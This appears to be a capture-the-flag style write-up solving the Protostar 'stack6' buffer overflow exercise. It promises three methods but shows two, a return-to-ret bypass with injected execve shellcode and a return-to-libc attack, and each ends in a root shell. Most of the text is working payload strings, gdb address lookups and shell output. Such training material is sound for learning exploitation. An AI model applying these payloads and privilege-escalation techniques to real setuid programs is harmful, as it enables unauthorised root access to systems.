There are three suggested methods for solving this problem, each of which is shown below.
Since the program restricts returning to the stack (exiting the program if the return address falls within the stack address range), return orientated programmming returns to a return instruction. Since the EIP is back at a return instruction again, it looks for a return address in the stack again. This return address will not be checked, so it can point to the stack.
print("".join([chr(i)*4 for i in range(65, 85)]) + '\x08\x85\x04\x08'+'\xc0\xf7\xff\xbf'+'\x90'*36+'\x31\xc0\
x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80')
(python /tmp/stack6.py; cat) | /opt/protostar/bin/stack6
whoami
root
Return to libc essentially eliminates the need for shellcode by using powerful functions already present in the binary due to libc. Since we are still on stack6, we can use the same padding as previously used (““.join([chr(i)*4 for i in range(65, 85)])). To create a root shell, we have to call /bin/sh from stack6 (which executes as root) using the system function from libc. To find the address of system we can use gdb.
gdb stack6
(gdb) break main
(gdb) r
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
The hexadecimal address printed is the next portion of the exploit. Finally, the remainder of the stack must be constructed as it would be if system was called naturally. This means any 4 byte return address, followed by a 4 byte address pointing to the string “\bin\sh”. Placing the string in the stack is hard, as NOP sleds would not work in this scenario. Instead, we can find an instance of /bin/sh in libc and simply point to that.
strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh
11f3bf /bin/sh
This number is not the absolute address of the string, but an offset from the beginning of the file libc. To find the address of where libc is stored, we can use GDB.
gdb stack6
(gdb) break main
(gdb) r
(gdb) info proc map
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
The line that says libc with an offset of 0 is what we’re interested in. The start address of this space is 0xb7e97000. Adding our string offset of 0x11f3bf, we get a final string address of 0xb7fb63bf. Incorporating all this, our exploit becomes:
print("".join([chr(i)*4 for i in range(65,85)])+'\xb0\xff\xec\xb7'+'AAAA'+'\xbf\x63\xfb\xb7')
(python /tmp/stack6.py; cat) | /opt/protostar/bin/stack6
whoami
root